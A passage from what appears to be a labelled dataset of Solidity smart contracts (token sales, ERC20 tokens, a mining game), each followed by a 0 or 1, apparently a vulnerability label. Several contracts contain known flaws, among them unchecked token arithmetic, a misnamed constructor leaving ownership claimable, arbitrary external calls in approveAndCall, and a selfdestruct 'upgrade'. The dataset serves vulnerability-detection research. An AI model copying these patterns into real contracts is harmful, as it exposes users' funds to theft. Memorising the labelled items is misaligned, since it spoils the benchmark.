minted >= softcap) { softcapAchieved = true; SoftcapReached(); } } function finish() public onlyOwner { if (!softcapAchieved) { refundOn = true; RefundsEnabled(); } else { widthraw(); token.setSaleAgent(nextSaleAgent); } } } contract StagedTokenEvent is CommonTokenEvent { using SafeMath for uint; struct Stage { uint period; uint discount; } uint public constant STAGES_PERCENT_RATE = 100; Stage[] public stages; function stagesCount() public constant returns(uint) { return stages.length; } function addStage(uint stagePeriod, uint discount) public onlyOwner { require(stagePeriod > 0); stages.push(Stage(stagePeriod, discount)); period = period.add(stagePeriod); } function removeStage(uint8 number) public onlyOwner { require(number >= 0 && number < stages.length); Stage storage stage = stages[number]; period = period.sub(stage.period); delete stages[number]; for (uint i = number; i < stages.length - 1; i++) { stages[i] = stages[i+1]; } stages.length--; } function changeStage(uint8 number, uint stagePeriod, uint discount) public onlyOwner { require(number >= 0 && number < stages.length); Stage storage stage = stages[number]; period = period.sub(stage.period); stage.period = stagePeriod; stage.discount = discount; period = period.add(stagePeriod); } function insertStage(uint8 numberAfter, uint stagePeriod, uint discount) public onlyOwner { require(numberAfter < stages.length); period = period.add(stagePeriod); stages.length++; for (uint i = stages.length - 2; i > numberAfter; i--) { stages[i + 1] = stages[i]; } stages[numberAfter + 1] = Stage(period, discount); } function clearStages() public onlyOwner { for (uint i = 0; i < stages.length; i++) { delete stages[i]; } stages.length -= stages.length; period = 0; } function getDiscount() public constant returns(uint) { uint prevTimeLimit = start; for (uint i = 0; i < stages.length; i++) { Stage storage stage = stages[i]; prevTimeLimit += stage.period * 1 days; if (now < prevTimeLimit) return stage.discount; } revert(); } } contract TGE is StagedTokenEvent { address public extraTokensWallet; uint public extraTokensPercent; bool public finished = false; function setExtraTokensWallet(address newExtraTokensWallet) public onlyOwner { extraTokensWallet = newExtraTokensWallet; } function setExtraTokensPercent(uint newExtraTokensPercent) public onlyOwner { extraTokensPercent = newExtraTokensPercent; } function calculateTokens(uint investedInWei) public view returns(uint) { return investedInWei.mul(price).mul(STAGES_PERCENT_RATE).div(STAGES_PERCENT_RATE.sub(getDiscount())).div(1 ether); } function finish() public onlyOwner { require(!finished); finished = true; uint256 totalSupply = token.totalSupply(); uint allTokens = totalSupply.mul(PERCENT_RATE).div(PERCENT_RATE.sub(extraTokensPercent)); uint extraTokens = allTokens.mul(extraTokensPercent).div(PERCENT_RATE); mintAndSendTokens(extraTokensWallet, extraTokens); } function createTokens() public payable canMint { require(!finished); wallet.transfer(msg.value); calculateAndTransferTokensWithReferrer(msg.sender, msg.value); } } contract Deployer is Ownable { LightcashCryptoToken public token; PreTGE public preTGE; TGE public tge; function deploy() public onlyOwner { token = new LightcashCryptoToken(); preTGE = new PreTGE(); preTGE.setPrice(7143000000000000000000); preTGE.setMinPurchaseLimit(100000000000000000); preTGE.setSoftcap(7000000000000000000000000); preTGE.setHardcap(52500000000000000000000000); preTGE.setStart(1519995600); preTGE.setPeriod(11); preTGE.setWallet(0xDFDCAc0c9Eb45C63Bcff91220A48684882F1DAd0); preTGE.setMaxReferrerTokens(10000000000000000000000); preTGE.setReferrerPercent(10); tge = new TGE(); tge.setPrice(5000000000000000000000); tge.setMinPurchaseLimit(10000000000000000); tge.setHardcap(126000000000000000000000000); tge.setStart(1520859600); tge.setWallet(0x3aC45b49A4D3CB35022fd8122Fd865cd1B47932f); tge.setExtraTokensWallet(0xF0e830148F3d1C4656770DAa282Fda6FAAA0Fe0B); tge.setExtraTokensPercent(15); tge.addStage(7, 20); tge.addStage(7, 15); tge.addStage(7, 10); tge.addStage(1000, 5); tge.setMaxReferrerTokens(10000000000000000000000); tge.setReferrerPercent(10); preTGE.setToken(token); tge.setToken(token); preTGE.setNextSaleAgent(tge); token.setSaleAgent(preTGE); address newOnwer = 0xF51E0a3a17990D41C5f1Ff1d0D772b26E4D6B6d0; token.transferOwnership(newOnwer); preTGE.transferOwnership(newOnwer); tge.transferOwnership(newOnwer); } }
0
pragma solidity ^ 0.4 .9; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns(uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns(uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Garden { using SafeMath for uint256; mapping(address => mapping(address => uint256)) allowed; mapping(address => uint256) balances; uint256 public totalSupply; uint256 public decimals; address public owner; bytes32 public name; bytes32 public symbol; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed _owner, address indexed spender, uint256 value); function Garden() { totalSupply = 1000000000100000000000000000; name = 'Garden'; symbol = 'GAR'; owner = 0x1416Ffd28bD3EAaBE8f9feCF3cB7B4D8248Cc158; balances[owner] = totalSupply; decimals = 18; } function balanceOf(address _owner) constant returns(uint256 balance) { return balances[_owner]; } function allowance(address _owner, address _spender) constant returns(uint256 remaining) { return allowed[_owner][_spender]; } function transfer(address _to, uint256 _value) returns(bool) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns(bool) { var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns(bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function() { revert(); } }
1
pragma solidity 0.4.25; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string name, string symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string) { return _name; } function symbol() public view returns(string) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; function totalSupply() public view returns (uint256) { return _totalSupply; } function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } function allowance( address owner, address spender ) public view returns (uint256) { return _allowed[owner][spender]; } function transfer(address to, uint256 value) public returns (bool) { require(value <= _balances[msg.sender]); require(to != address(0)); _balances[msg.sender] = _balances[msg.sender].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(msg.sender, to, value); return true; } function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } function transferFrom( address from, address to, uint256 value ) public returns (bool) { require(value <= _balances[from]); require(value <= _allowed[from][msg.sender]); require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); emit Transfer(from, to, value); return true; } function increaseAllowance( address spender, uint256 addedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].add(addedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function decreaseAllowance( address spender, uint256 subtractedValue ) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = ( _allowed[msg.sender][spender].sub(subtractedValue)); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } function _mint(address account, uint256 amount) internal { require(account != 0); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal { require(account != 0); require(amount <= _balances[account]); _totalSupply = _totalSupply.sub(amount); _balances[account] = _balances[account].sub(amount); emit Transfer(account, address(0), amount); } function _burnFrom(address account, uint256 amount) internal { require(amount <= _allowed[account][msg.sender]); _allowed[account][msg.sender] = _allowed[account][msg.sender].sub( amount); _burn(account, amount); } } contract Orientum is ERC20, ERC20Detailed { constructor() ERC20Detailed("Orientum", "ORT", 18) ERC20() public { uint256 _amount = 888888888; uint256 totalSupply = _amount.mul(10 ** uint256(18)); _mint(msg.sender, totalSupply); } }
1
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } contract PullPayment { using SafeMath for uint256; mapping(address => uint256) public payments; uint256 public totalPayments; function withdrawPayments() public { address payee = msg.sender; uint256 payment = payments[payee]; require(payment != 0); require(address(this).balance >= payment); totalPayments = totalPayments.sub(payment); payments[payee] = 0; payee.transfer(payment); } function asyncSend(address dest, uint256 amount) internal { payments[dest] = payments[dest].add(amount); totalPayments = totalPayments.add(amount); } } interface CryptoMiningWarInterface { function calCurrentCrystals(address ) external view returns(uint256 ); function subCrystal( address , uint256 ) external pure; function fallback() external payable; function isMiningWarContract() external pure returns(bool); } interface MiniGameInterface { function isContractMiniGame() external pure returns( bool _isContractMiniGame ); function fallback() external payable; } contract CryptoEngineer is PullPayment{ address public administrator; uint256 public prizePool = 0; uint256 public numberOfEngineer = 8; uint256 public numberOfBoosts = 5; address public gameSponsor; uint256 public gameSponsorPrice = 0.32 ether; uint256 public VIRUS_MINING_PERIOD = 86400; uint256 public CRTSTAL_MINING_PERIOD = 86400; uint256 public BASE_PRICE = 0.01 ether; address public miningWarAddress; CryptoMiningWarInterface public MiningWar; mapping(address => Player) public players; mapping(uint256 => BoostData) public boostData; mapping(uint256 => EngineerData) public engineers; mapping(address => bool) public miniGames; struct Player { mapping(uint256 => uint256) engineersCount; uint256 virusNumber; uint256 research; uint256 lastUpdateTime; bool endLoadOldData; } struct BoostData { address owner; uint256 boostRate; uint256 basePrice; } struct EngineerData { uint256 basePrice; uint256 baseETH; uint256 baseResearch; uint256 limit; } modifier disableContract() { require(tx.origin == msg.sender); _; } modifier isAdministrator() { require(msg.sender == administrator); _; } modifier onlyContractsMiniGame() { require(miniGames[msg.sender] == true); _; } event BuyEngineer(address _addr, uint256[8] engineerNumbers, uint256 _crytalsPrice, uint256 _ethPrice, uint256 _researchBuy); event BuyBooster(address _addr, uint256 _boostIdx, address beneficiary); event ChangeVirus(address _addr, uint256 _virus, uint256 _type); event BecomeGameSponsor(address _addr, uint256 _price); event UpdateResearch(address _addr, uint256 _currentResearch); constructor() public { administrator = msg.sender; initBoostData(); initEngineer(); setMiningWarInterface(0x1b002cd1ba79dfad65e8abfbb3a97826e4960fe5); } function initEngineer() private { engineers[0] = EngineerData(10, BASE_PRICE * 0, 10, 10 ); engineers[1] = EngineerData(50, BASE_PRICE * 1, 3356, 2 ); engineers[2] = EngineerData(200, BASE_PRICE * 2, 8390, 4 ); engineers[3] = EngineerData(800, BASE_PRICE * 4, 20972, 8 ); engineers[4] = EngineerData(3200, BASE_PRICE * 8, 52430, 16 ); engineers[5] = EngineerData(12800, BASE_PRICE * 16, 131072, 32 ); engineers[6] = EngineerData(102400, BASE_PRICE * 32, 327680, 64 ); engineers[7] = EngineerData(819200, BASE_PRICE * 64, 819200, 65536); } function initBoostData() private { boostData[0] = BoostData(0x0, 150, BASE_PRICE * 1); boostData[1] = BoostData(0x0, 175, BASE_PRICE * 2); boostData[2] = BoostData(0x0, 200, BASE_PRICE * 4); boostData[3] = BoostData(0x0, 225, BASE_PRICE * 8); boostData[4] = BoostData(0x0, 250, BASE_PRICE * 16); } function isContractMiniGame() public pure returns(bool _isContractMiniGame) { _isContractMiniGame = true; } function isEngineerContract() public pure returns(bool) { return true; } function () public payable { addPrizePool(msg.value); } function setupMiniGame( uint256 , uint256 ) public { require(msg.sender == miningWarAddress); MiningWar.fallback.value(SafeMath.div(SafeMath.mul(prizePool, 5), 100))(); prizePool = SafeMath.sub(prizePool, SafeMath.div(SafeMath.mul(prizePool, 5), 100)); } function setMiningWarInterface(address _addr) public isAdministrator { CryptoMiningWarInterface miningWarInterface = CryptoMiningWarInterface(_addr); require(miningWarInterface.isMiningWarContract() == true); miningWarAddress = _addr; MiningWar = miningWarInterface; } function setContractsMiniGame( address _addr ) public isAdministrator { MiniGameInterface MiniGame = MiniGameInterface( _addr ); if( MiniGame.isContractMiniGame() == false ) { revert(); } miniGames[_addr] = true; } function removeContractMiniGame(address _addr) public isAdministrator { miniGames[_addr] = false; } function upgrade(address addr) public isAdministrator { selfdestruct(addr); } function buyBooster(uint256 idx) public payable { require(idx < numberOfBoosts); BoostData storage b = boostData[idx]; if (msg.value < b.basePrice || msg.sender == b.owner) revert(); address beneficiary = b.owner; uint256 devFeePrize = devFee(b.basePrice); distributedToOwner(devFeePrize); addMiningWarPrizePool(devFeePrize); addPrizePool(SafeMath.sub(msg.value, SafeMath.mul(devFeePrize,3))); updateVirus(msg.sender); if ( beneficiary != 0x0 ) updateVirus(beneficiary); b.owner = msg.sender; emit BuyBooster(msg.sender, idx, beneficiary ); } function getBoosterData(uint256 idx) public view returns (address _owner,uint256 _boostRate, uint256 _basePrice) { require(idx < numberOfBoosts); BoostData memory b = boostData[idx]; _owner = b.owner; _boostRate = b.boostRate; _basePrice = b.basePrice; } function hasBooster(address addr) public view returns (uint256 _boostIdx) { _boostIdx = 999; for(uint256 i = 0; i < numberOfBoosts; i++){ uint256 revert_i = numberOfBoosts - i - 1; if(boostData[revert_i].owner == addr){ _boostIdx = revert_i; break; } } } function becomeGameSponsor() public payable disableContract { uint256 gameSponsorPriceFee = SafeMath.div(SafeMath.mul(gameSponsorPrice, 150), 100); require(msg.value >= gameSponsorPriceFee); require(msg.sender != gameSponsor); uint256 repayPrice = SafeMath.div(SafeMath.mul(gameSponsorPrice, 110), 100); gameSponsor.transfer(repayPrice); addPrizePool(SafeMath.sub(msg.value, repayPrice)); gameSponsor = msg.sender; gameSponsorPrice = gameSponsorPriceFee; emit BecomeGameSponsor(msg.sender, msg.value); } function addEngineer(address _addr, uint256 idx, uint256 _value) public isAdministrator { require(idx < numberOfEngineer); require(_value != 0); Player storage p = players[_addr]; EngineerData memory e = engineers[idx]; if (SafeMath.add(p.engineersCount[idx], _value) > e.limit) revert(); updateVirus(_addr); p.engineersCount[idx] = SafeMath.add(p.engineersCount[idx], _value); updateResearch(_addr, SafeMath.mul(_value, e.baseResearch)); } function setBoostData(uint256 idx, address owner, uint256 boostRate, uint256 basePrice) public onlyContractsMiniGame { require(owner != 0x0); BoostData storage b = boostData[idx]; b.owner = owner; b.boostRate = boostRate; b.basePrice = basePrice; } function setGameSponsorInfo(address _addr, uint256 _value) public onlyContractsMiniGame { gameSponsor = _addr; gameSponsorPrice = _value; } function setPlayerLastUpdateTime(address _addr) public onlyContractsMiniGame { require(players[_addr].endLoadOldData == false); players[_addr].lastUpdateTime = now; players[_addr].endLoadOldData = true; } function setPlayerEngineersCount( address _addr, uint256 idx, uint256 _value) public onlyContractsMiniGame { players[_addr].engineersCount[idx] = _value; } function setPlayerResearch(address _addr, uint256 _value) public onlyContractsMiniGame { players[_addr].research = _value; } function setPlayerVirusNumber(address _addr, uint256 _value) public onlyContractsMiniGame { players[_addr].virusNumber = _value; } function addResearch(address _addr, uint256 _value) public onlyContractsMiniGame { updateVirus(_addr); Player storage p = players[_addr]; p.research = SafeMath.add(p.research, _value); emit UpdateResearch(_addr, p.research); } function subResearch(address _addr, uint256 _value) public onlyContractsMiniGame { updateVirus(_addr); Player storage p = players[_addr]; if (p.research < _value) revert(); p.research = SafeMath.sub(p.research, _value); emit UpdateResearch(_addr, p.research); } function addVirus(address _addr, uint256 _value) public onlyContractsMiniGame { Player storage p = players[_addr]; uint256 additionalVirus = SafeMath.mul(_value,VIRUS_MINING_PERIOD); p.virusNumber = SafeMath.add(p.virusNumber, additionalVirus); emit ChangeVirus(_addr, _value, 1); } function subVirus(address _addr, uint256 _value) public onlyContractsMiniGame { updateVirus(_addr); Player storage p = players[_addr]; uint256 subtractVirus = SafeMath.mul(_value,VIRUS_MINING_PERIOD); if ( p.virusNumber < subtractVirus ) { revert(); } p.virusNumber = SafeMath.sub(p.virusNumber, subtractVirus); emit ChangeVirus(_addr, _value, 2); } function claimPrizePool(address _addr, uint256 _value) public onlyContractsMiniGame { require(prizePool > _value); prizePool = SafeMath.sub(prizePool, _value); MiniGameInterface MiniGame = MiniGameInterface( _addr ); MiniGame.fallback.value(_value)(); } function buyEngineer(uint256[8] engineerNumbers) public payable disableContract { updateVirus(msg.sender); Player storage p = players[msg.sender]; uint256 priceCrystals = 0; uint256 priceEth = 0; uint256 research = 0; for (uint256 engineerIdx = 0; engineerIdx < numberOfEngineer; engineerIdx++) { uint256 engineerNumber = engineerNumbers[engineerIdx]; EngineerData memory e = engineers[engineerIdx]; if(engineerNumber > e.limit || engineerNumber < 0) revert(); if (engineerNumber > 0) { uint256 currentEngineerCount = p.engineersCount[engineerIdx]; p.engineersCount[engineerIdx] = SafeMath.min(e.limit, SafeMath.add(p.engineersCount[engineerIdx], engineerNumber)); research = SafeMath.add(research, SafeMath.mul(SafeMath.sub(p.engineersCount[engineerIdx],currentEngineerCount), e.baseResearch)); priceCrystals = SafeMath.add(priceCrystals, SafeMath.mul(e.basePrice, engineerNumber)); priceEth = SafeMath.add(priceEth, SafeMath.mul(e.baseETH, engineerNumber)); } } if (priceEth < msg.value) revert(); uint256 devFeePrize = devFee(priceEth); distributedToOwner(devFeePrize); addMiningWarPrizePool(devFeePrize); addPrizePool(SafeMath.sub(msg.value, SafeMath.mul(devFeePrize,3))); MiningWar.subCrystal(msg.sender, priceCrystals); updateResearch(msg.sender, research); emit BuyEngineer(msg.sender, engineerNumbers, priceCrystals, priceEth, research); } function updateVirus(address _addr) private { Player storage p = players[_addr]; p.virusNumber = calCurrentVirus(_addr); p.lastUpdateTime = now; } function calCurrentVirus(address _addr) public view returns(uint256 _currentVirus) { Player memory p = players[_addr]; uint256 secondsPassed = SafeMath.sub(now, p.lastUpdateTime); uint256 researchPerDay = getResearchPerDay(_addr); _currentVirus = p.virusNumber; if (researchPerDay > 0) { _currentVirus = SafeMath.add(_currentVirus, SafeMath.mul(researchPerDay, secondsPassed)); } } function updateResearch(address _addr, uint256 _research) private { Player storage p = players[_addr]; p.research = SafeMath.add(p.research, _research); emit UpdateResearch(_addr, p.research); } function getResearchPerDay(address _addr) public view returns( uint256 _researchPerDay) { Player memory p = players[_addr]; _researchPerDay = p.research; uint256 boosterIdx = hasBooster(_addr); if (boosterIdx != 999) { BoostData memory b = boostData[boosterIdx]; _researchPerDay = SafeMath.div(SafeMath.mul(_researchPerDay, b.boostRate), 100); } } function getPlayerData(address _addr) public view returns( uint256 _virusNumber, uint256 _currentVirus, uint256 _research, uint256 _researchPerDay, uint256 _lastUpdateTime, uint256[8] _engineersCount ) { Player storage p = players[_addr]; for ( uint256 idx = 0; idx < numberOfEngineer; idx++ ) { _engineersCount[idx] = p.engineersCount[idx]; } _currentVirus= SafeMath.div(calCurrentVirus(_addr), VIRUS_MINING_PERIOD); _virusNumber = SafeMath.div(p.virusNumber, VIRUS_MINING_PERIOD); _lastUpdateTime = p.lastUpdateTime; _research = p.research; _researchPerDay = getResearchPerDay(_addr); } function addPrizePool(uint256 _value) private { prizePool = SafeMath.add(prizePool, _value); } function addMiningWarPrizePool(uint256 _value) private { MiningWar.fallback.value(_value)(); } function calCurrentCrystals(address _addr) public view returns(uint256 _currentCrystals) { _currentCrystals = SafeMath.div(MiningWar.calCurrentCrystals(_addr), CRTSTAL_MINING_PERIOD); } function devFee(uint256 _amount) private pure returns(uint256) { return SafeMath.div(SafeMath.mul(_amount, 5), 100); } function distributedToOwner(uint256 _value) private { gameSponsor.transfer(_value); administrator.transfer(_value); } }
0
pragma solidity ^0.4.24; contract BaseToken { string public name; string public symbol; uint8 public decimals; uint256 public totalSupply; mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function _transfer(address _from, address _to, uint _value) internal { require(_to != address(0)); require(balanceOf[_from] >= _value); require(balanceOf[_to] + _value > balanceOf[_to]); uint previousBalances = balanceOf[_from] + balanceOf[_to]; balanceOf[_from] -= _value; balanceOf[_to] += _value; assert(balanceOf[_from] + balanceOf[_to] == previousBalances); emit Transfer(_from, _to, _value); } function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } } contract BurnToken is BaseToken { event Burn(address indexed from, uint256 value); function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; totalSupply -= _value; emit Burn(msg.sender, _value); return true; } function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); require(_value <= allowance[_from][msg.sender]); balanceOf[_from] -= _value; allowance[_from][msg.sender] -= _value; totalSupply -= _value; emit Burn(_from, _value); return true; } } contract ICOToken is BaseToken { uint256 public icoRatio; uint256 public icoEndtime; address public icoSender; address public icoHolder; event ICO(address indexed from, uint256 indexed value, uint256 tokenValue); event Withdraw(address indexed from, address indexed holder, uint256 value); modifier onlyBefore() { if (now > icoEndtime) { revert(); } _; } function() public payable onlyBefore { uint256 tokenValue = (msg.value * icoRatio * 10 ** uint256(decimals)) / (1 ether / 1 wei); if (tokenValue == 0 || balanceOf[icoSender] < tokenValue) { revert(); } _transfer(icoSender, msg.sender, tokenValue); emit ICO(msg.sender, msg.value, tokenValue); } function withdraw() public{ uint256 balance = address(this).balance; icoHolder.transfer(balance); emit Withdraw(msg.sender, icoHolder, balance); } } contract CustomToken is BaseToken, BurnToken, ICOToken { constructor(address icoAddress) public { totalSupply = 210000000000000000; balanceOf[msg.sender] = totalSupply; name = 'VPEToken'; symbol = 'VPE'; decimals = 8; icoRatio = 10000; icoEndtime = 1559318400; icoSender = icoAddress; icoHolder = icoAddress; } }
1
pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract BitcoinCompact is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'Version 1.0'; uint256 public unitsOneEthCanBuy; uint256 public totalEthInWei; address public fundsWallet; function BitcoinCompact() { balances[msg.sender] = 900000000; totalSupply = 900000000; name = "Bitcoin Compact"; decimals = 2; symbol = "BTC"; fundsWallet = 0x78863E62856D8C2047061F447C7E55c5838b7064; } function() payable{ totalEthInWei = totalEthInWei + msg.value; uint256 amount = msg.value * unitsOneEthCanBuy; if (balances[fundsWallet] < amount) { return; } balances[fundsWallet] = balances[fundsWallet] - amount; balances[msg.sender] = balances[msg.sender] + amount; Transfer(fundsWallet, msg.sender, amount); fundsWallet.transfer(msg.value); } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true; } }
1
pragma solidity ^0.4.8; contract Token{ uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract HumanStandardToken is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'H0.1'; function HumanStandardToken(uint256 _initialAmount, string _tokenName, uint8 _decimalUnits, string _tokenSymbol) { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); require(_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)); return true; } }
1
pragma solidity ^0.4.18; contract SafeMath { function mulSafe(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function divSafe(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function subSafe(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function addSafe(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract ERC20 { uint256 public totalSupply; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC223 { function transfer(address to, uint value, bytes data) public; event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract ERC223ReceivingContract { function tokenFallback(address _from, uint _value, bytes _data) public; } contract StandardToken is ERC20, ERC223, SafeMath, Owned { event ReleaseSupply(address indexed receiver, uint256 value, uint256 releaseTime); mapping(address => uint256) balances; mapping (address => mapping (address => uint256)) internal allowed; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = subSafe(balances[msg.sender], _value); balances[_to] = addSafe(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = subSafe(balances[_from], _value); balances[_to] = addSafe(balances[_to], _value); allowed[_from][msg.sender] = subSafe(allowed[_from][msg.sender], _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return 